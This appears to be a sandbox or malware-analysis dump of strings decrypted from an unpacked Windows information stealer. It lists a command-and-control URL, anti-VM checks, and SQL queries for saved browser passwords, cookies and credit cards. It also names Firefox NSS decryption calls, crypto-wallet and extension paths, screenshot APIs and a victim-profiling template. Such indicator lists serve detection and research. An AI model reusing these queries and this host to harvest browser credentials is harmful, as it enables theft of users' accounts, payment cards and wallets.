Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: gdi32.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: user32.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: crypt32.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetUserNameA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CreateDCA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetDeviceCaps
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: ReleaseDC
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: sscanf
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: VMwareVMware
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: HAL9TH
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: JohnDoe
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: DISPLAY
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: http://185.215.113.206
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: /c4becf79229cb002.php
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: /68b591d6548ec281/
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: stok
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetFileAttributesA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: HeapFree
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetFileSize
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GlobalSize
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: IsWow64Process
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Process32Next
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetLocalTime
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: FreeLibrary
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetVolumeInformationA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Process32First
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetLocaleInfoA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetModuleFileNameA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: DeleteFileA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: FindNextFileA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: LocalFree
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: FindClose
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: LocalAlloc
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetFileSizeEx
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: ReadFile
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: SetFilePointer
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: WriteFile
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CreateFileA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: FindFirstFileA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CopyFileA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: VirtualProtect
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetLastError
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: lstrcpynA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: MultiByteToWideChar
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GlobalFree
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: WideCharToMultiByte
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GlobalAlloc
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: OpenProcess
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: TerminateProcess
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetCurrentProcessId
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: gdiplus.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: ole32.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: bcrypt.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: wininet.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: shlwapi.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: shell32.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: rstrtmgr.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: SelectObject
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: BitBlt
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: DeleteObject
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CreateCompatibleDC
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GdiplusStartup
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GdiplusShutdown
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GdipDisposeImage
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GdipFree
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CoUninitialize
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CoInitialize
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CoCreateInstance
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: BCryptDecrypt
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: BCryptSetProperty
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: BCryptDestroyKey
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetWindowRect
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetDesktopWindow
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetDC
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CloseWindow
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: wsprintfA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CharToOemW
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: wsprintfW
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: RegQueryValueExA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: RegEnumKeyExA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: RegOpenKeyExA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: RegCloseKey
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: RegEnumValueA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CryptUnprotectData
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: SHGetFolderPathA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: ShellExecuteExA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: InternetOpenUrlA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: InternetConnectA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: InternetCloseHandle
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: HttpSendRequestA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: HttpOpenRequestA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: InternetReadFile
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: InternetCrackUrlA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: StrCmpCA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: StrStrA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: StrCmpCW
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: PathMatchSpecA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: RmStartSession
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: RmRegisterResources
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: RmGetList
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: RmEndSession
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: sqlite3_open
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: sqlite3_step
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: sqlite3_column_text
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: sqlite3_finalize
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: sqlite3_close
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: sqlite3_column_blob
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: encrypted_key
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: PATH
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: NSS_Init
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: NSS_Shutdown
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: PK11_FreeSlot
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: PK11_Authenticate
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: C:\ProgramData\
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: browser:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: profile:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: url:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: login:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: password:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Opera
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: OperaGX
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Network
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: cookies
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: .txt
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: TRUE
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: FALSE
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: autofill
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: history
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: cc
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: name:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: month:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: year:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: card:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Cookies
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Login Data
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Web Data
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: History
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: logins.json
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: formSubmitURL
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: usernameField
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: encryptedUsername
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: encryptedPassword
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: guid
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: cookies.sqlite
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: formhistory.sqlite
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: places.sqlite
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: plugins
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Local Extension Settings
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Sync Extension Settings
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: IndexedDB
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Opera Stable
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Opera GX Stable
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CURRENT
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: chrome-extension_
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Local State
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: profiles.ini
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: chrome
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: opera
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: firefox
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: wallets
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: ProductName
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: x32
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: x64
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: DisplayName
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: DisplayVersion
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Network Info:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - IP: IP?
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - Country: ISO?
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: System Summary:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - HWID:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - OS:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - Architecture:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - UserName:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - Computer Name:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - Local Time:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - UTC:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - Language:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - Keyboards:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - Laptop:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - Running Path:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - CPU:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - Threads:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - Cores:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - RAM:
